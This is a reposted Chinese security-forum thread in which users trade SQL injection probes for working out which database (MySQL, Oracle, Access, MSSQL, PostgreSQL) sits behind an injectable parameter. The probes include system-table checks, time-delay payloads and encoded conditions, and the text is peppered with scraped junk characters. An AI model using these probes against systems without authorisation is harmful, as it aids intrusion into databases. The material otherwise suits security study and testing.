中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库) c; k  Y. O" U+ y& W, P& [
xsser (十根阳具有长短!!) | 2013-02-05 12:36* ~9 t/ a6 f4 i6 [1 W
假设这么一个注射点:
2 ?9 f) A7 S! ]4 \2 cshow.html?id=2  s, G* ~  b) }
mysql:id=2 and version()>0- d0 L$ c" L9 X
oracle:id=2 and '1'||'1'='11( q: z: Z& w: x
其他的欢迎补充2 F+ S" P9 q# @
1#
# P( [# p4 t! f" Z6 E9 I* w/ D9 Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
, p; F5 y7 @% x1 k; p. A, \7 W+ ZAccess:
: }1 D/ m5 f9 s" ~, W2 f  M  eaNd aSc(cHr(97))=97
# s* H( o- {: m  O) a% dand exists(select id from MSysAccessObjects)5 D& a: C6 s; S, i  O/ b
SQL Server:
- U. x4 [4 T: \, K8 E) cand exists(select id from sysobjects)3 q5 ?3 B! u1 k: j: n+ G
and length(user)>0: s# j4 K5 [- I7 B
MySQL:: n: Y8 }7 t8 G% `3 p1 L3 C& i
and length(user())>0+ T+ }/ |' j# ?0 `% q
2#
' S( }+ P6 H3 _, i9 f3 Zxsser (十根阳具有长短!!) | 2013-02-05 12:480 c& M& v/ ]+ w7 q
@upload 如果这些都不是呢…
$ f9 a6 K! z+ g1 |3#
" @, T5 m' O) P2 p: v& vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:032 ~# j7 J3 {' [- ~" Q7 C
@xsser 不快速的,延时注入+ \, c) ]# k2 _8 i% r- \' `  Q
不知道这样写对不对& I5 H% @& S; i+ o$ ^
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'- F$ N8 m/ }+ p# x6 t2 r8 K
mysql:id=2 and select benchmark(1e8,current_date());1 t9 N" @# E3 V+ v9 t* f
4#
3 v( g5 y. _. g2 e1 M9 @. @. Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:100 `. v6 B' }  `5 c# h* n' k
最快的貌似是看报错信息
1 }3 B/ v- p4 \# }oracle error" k1 @) y' ~* J4 y- W" ?  {5 v4 {) S
mssql error
6 ^! C8 Q1 A, o7 I% u& bmysql error
+ j0 a& |+ \: y5 O2 k5#
. l: ?' ^" z- KNimda (你们都是坏银~) | 2013-02-05 13:14
0 T, i0 z4 \7 I3 J- M小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)  w" q, b& X/ }2 v
6#
0 }7 {- g* o0 i) q  x! H1 Qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
9 t* N3 i4 O% [) ]. O$ e“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
6 N/ C" q  q- f8 x“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:6 e1 z5 n" W/ A
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
! y4 D, ~4 R7 R1 k$ P) z7#
9 f; s2 u2 D) ~% [! V/ ~- p_Evil (HackEnd) | 2013-02-05 13:33
) a% S8 W& d8 K! ?( r  T; p5 k+ gPostgreSQL
& z9 d. S5 C  ]5 L) V8#7 p9 T/ g% q4 s  h" n8 l+ F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
7 X+ g) }4 z, |$ M  }0 V# i% Q切换编码 and 1=1( w6 B: t) [5 y  u" a
oracle:
" h1 t+ l$ P2 bCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
/ y! V/ h  z, G, ymssql:* m3 W2 B$ n) H* p
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
+ t0 y% {/ I  Gmysql:
* Y( p4 q/ }6 R0 w7 L8 }CHAR(97, 110, 100, 32, 49, 61, 49)
# A- l& H0 l& P- T6 k, {9#
4 R" K( x0 E3 \: t# }xsser (十根阳具有长短!!) | 2013-02-05 14:31! {/ b, L: f9 T, \
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
/ A, @$ K4 J3 ]10#
6 b9 `! D: r( ^; S  Fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
& L- L0 ~: H$ k- Y  T@xsser 是奇葩数据库类型的么?
$ L2 S" P3 a# n( m根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:8 S; Z- B* y8 l
1.是否可以使用特定的函数来判断,该数据库特有的
3 I/ |3 w6 y( e2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等) `3 u8 w8 O) g# w9 T0 Y, g8 g
3.是否可以编码查询
* u+ y  F7 o" }# n4.是否显可以利用错信息
2 w6 `$ _4 I9 l' m4 V5.是否存在数据库某些特性辅助判断
9 g& B. Y% Y/ u个人见解  W& f6 Q; Q, E) I( `* E
11#
& Q* w. b, l0 w) Q小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55* l7 {4 l# [2 V4 l! ]
已收藏,mssql可以直接看到错误提示的吧~
. ^+ s5 W' r7 [" x3 A12#
% \2 g6 b1 h# n' X' W2 hPasser_by | 2013-02-05 15:09
9 w# |- T5 d9 y- N" z9 E. B曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。* |& g; s" Q, g$ W; j
from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2